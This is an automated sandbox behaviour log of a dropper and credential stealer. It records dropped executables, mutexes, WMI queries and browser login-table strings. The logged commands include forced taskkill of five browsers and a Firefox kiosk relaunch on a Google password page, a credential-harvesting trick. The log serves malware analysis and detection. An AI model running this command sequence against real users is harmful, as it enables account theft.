Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr Static PE information: Section: xfniszhi ZLIB complexity 0.9947508271496328
Source: skotes.exe.3.dr Static PE information: Section: ZLIB complexity 0.9982597496594006
Source: skotes.exe.3.dr Static PE information: Section: wcmebtxw ZLIB complexity 0.9944089114010989
Source: random[1].exe.5.dr Static PE information: Section: ZLIB complexity 0.9991426877062707
Source: dbec6bb1cf.exe.5.dr Static PE information: Section: ZLIB complexity 0.9991426877062707
Source: random[1].exe0.5.dr Static PE information: Section: xfniszhi ZLIB complexity 0.9947508271496328
Source: de379087e7.exe.5.dr Static PE information: Section: xfniszhi ZLIB complexity 0.9947508271496328
Source: random[1].exe.5.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: dbec6bb1cf.exe.5.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448799973.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000003.2385245260.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, de379087e7.exe, 0000000A.00000002.2602104449.0000000000741000.00000040.00000001.01000000.00000010.sdmp, de379087e7.exe, 0000000A.00000003.2561702732.00000000050E0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@80/26@87/12
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Code function: 6_2_049A15D0 ChangeServiceConfigA, 6_2_049A15D0
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\MNQXSBCP.htm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6240:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5280:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6500:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3608:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6912:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4232:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6204:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4876:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2616:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3468:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SELECT COUNT(*) FROM autofillDISPLAYED_FILE_RESOURCE_TYPESSAFARI_PASSWORD_PERMISSIONSYNC_BOOKMARK_VALIDATORS<.query<@mozilla.org/remote/marionette;1BOOKMARK_VALIDATORS<.tags</<_GetPaymentMethodsResource_chromeUserDataPathSuffixGetBookmarksResource/migrate/<app.update.altUpdateDirPathremoveFromURLsIfNotBookmarked/<app.update.backgroundErrorsnotification-close-buttonpromiseKeywordsCache/promise<promiseKeywordsCache/promise</<_getChromeUserDataPathIfExistsThe migration included errors._GetPaymentMethodsResource/rows<get _chromeUserDataPathSuffixGetHistoryResource/migrate/<Brave Browser Safe StorageInternal Testing Migratormessage-bar:user-dismissedMicrosoft Edge Safe Storage@mozilla.org/remote/agent;1PREF_APP_UPDATE_BACKGROUNDERRORStoolkit/global/notification.ftlapp.update.backgroundMaxErrorsSYNC_BOOKMARK_VALIDATORS<.kind<supportsLoginsForPlatformsafari-password-permissionPREF_APP_UPDATE_BITS_ENABLEDapp.update.promptWaitTimePREF_APP_UPDATE_SERVICE_ERRORSPREF_APP_UPDATE_CANCELATIONS_OSXapp.update.elevate.maxAttemptsPREF_APP_UPDATE_URL_DETAILSapp.update.service.maxErrorsPREF_APP_UPDATE_ELEVATE_ATTEMPTSSERVICE_UPDATER_SIGN_ERRORPREF_APP_UPDATE_ELEVATE_NEVERPREF_APP_UPDATE_LANGPACK_ENABLEDPREF_APP_UPDATE_LANGPACK_TIMEOUTapp.update.notifyDuringDownloadPREF_APP_UPDATE_SERVICE_ENABLEDapp.update.disabledForTestingapp.update.cancelations.osx.maxapp.update.service.errorsapp.update.socket.maxErrorsapp.update.elevate.attemptsPREF_APP_UPDATE_SOCKET_MAXERRORSPREF_APP_UPDATE_STAGING_ENABLEDPREF_APP_UPDATE_ELEVATE_VERSIONPREF_APP_UPDATE_CANCELATIONSapp.update.langpack.timeoutapp.update.socket.retryTimeoutapp.update.download.attemptsapp.update.langpack.enabledapp.update.download.maxAttemptsapp.update.cancelations.osxPREF_APP_UPDATE_PROMPTWAITTIMEapp.update.elevate.versionapp.update.service.enabledapp.update.staging.enabledSERVICE_UPDATER_COMPARE_ERRORINVALID_UPDATER_STATE_CODEgOnlyDownloadUpdatesThisSessionWRITE_ERROR_DIR_ACCESS_DENIEDSERVICE_UPDATER_IDENTITY_ERRORoldStateTransitionPromisegOtherInstancePollPromisegetPerInstallationMutexNamensIScriptableUnicodeConverterareDirectoryEntriesWriteableERR_OLDER_VERSION_OR_SAME_BUILDSERVICE_UPDATER_NOT_FIXED_DRIVEWRITE_ERROR_CALLBACK_PATHDEFAULT_SOCKET_MAX_ERRORSSERVICE_COULD_NOT_LOCK_UPDATERSERVICE_COULD_NOT_IMPERSONATEWRITE_ERROR_APPLY_DIR_PATHINVALID_UPDATER_STATUS_CODEDEFAULT_SOCKET_RETRYTIMEOUTDEFAULT_CANCELATIONS_OSX_MAXWRITE_ERROR_DELETE_BACKUPLANGPACK_UPDATE_DEFAULT_TIMEOUTSTAGING_POLLING_MAX_INTERVAL_MSWRITE_ERROR_ACCESS_DENIEDWRITE_ERROR_FILE_ACCESS_DENIEDWRITE_ERROR_OPEN_PATCH_FILESTAGING_POLLING_MAX_DURATION_MSSERVICE_COULD_NOT_COPY_UPDATERDELETE_ERROR_STAGING_LOCK_FILEDEFAULT_SERVICE_MAX_ERRORSsessionstore-windows-restoredSTAGING_POLLING_MIN_INTERVAL_MSisServiceInstalled - returning binaryTransparencyResultFilensISupportsInterfacePointer_registeredOnlineObserverUPDATE_NOT_PREF_UPDATE_AUTO_UPDATE_PREF_UPDATE_CANCELATIONS_isMemoryAllocationErrorCodeUpdateService:_attemptResumepollAttemptsAtIntervalRemainingshoul
Source: file.exe, 00000000.00000003.2198569442.0000000005414000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184709617.000000000540B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe ReversingLabs: Detection: 44%
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: dbec6bb1cf.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe "C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe "C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe"
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe "C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe "C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe "C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe "C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe "C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe"
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9686308f-a394-415a-b650-85143ae21422} 6104 "\\.\pipe\gecko-crash-server-pipe.6104" 14d44d6ff10 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001161001\num.exe "C:\Users\user\AppData\Local\Temp\1001161001\num.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe "C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4328 -parentBuildID 20230927232528 -prefsHandle 4336 -prefMapHandle 4332 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f5cc7a10-42c2-4801-b3a0-593248fdef50} 6104 "\\.\pipe\gecko-crash-server-pipe.6104" 14d5735b310 rdd
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe "C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe"
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1001161001\num.exe "C:\Users\user\AppData\Local\Temp\1001161001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2268 -parentBuildID 20230927232528 -prefsHandle 2216 -prefMapHandle 2212 -prefsLen 25307 -prefMapSize 239752 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {25ca59eb-9508-42dd-bcfe-40c1dece1204} 7004 "\\.\pipe\gecko-crash-server-pipe.7004" 1cb6246e310 socket
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe "C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe "C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe "C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe "C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe "C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe "C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe "C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe "C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9686308f-a394-415a-b650-85143ae21422} 6104 "\\.\pipe\gecko-crash-server-pipe.6104" 14d44d6ff10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4328 -parentBuildID 20230927232528 -prefsHandle 4336 -prefMapHandle 4332 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f5cc7a10-42c2-4801-b3a0-593248fdef50} 6104 "\\.\pipe\gecko-crash-server-pipe.6104" 14d5735b310 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2268 -parentBuildID 20230927232528 -prefsHandle 2216 -prefMapHandle 2212 -prefsLen 25307 -prefMapSize 239752 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {25ca59eb-9508-42dd-bcfe-40c1dece1204} 7004 "\\.\pipe\gecko-crash-server-pipe.7004" 1cb6246e310 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
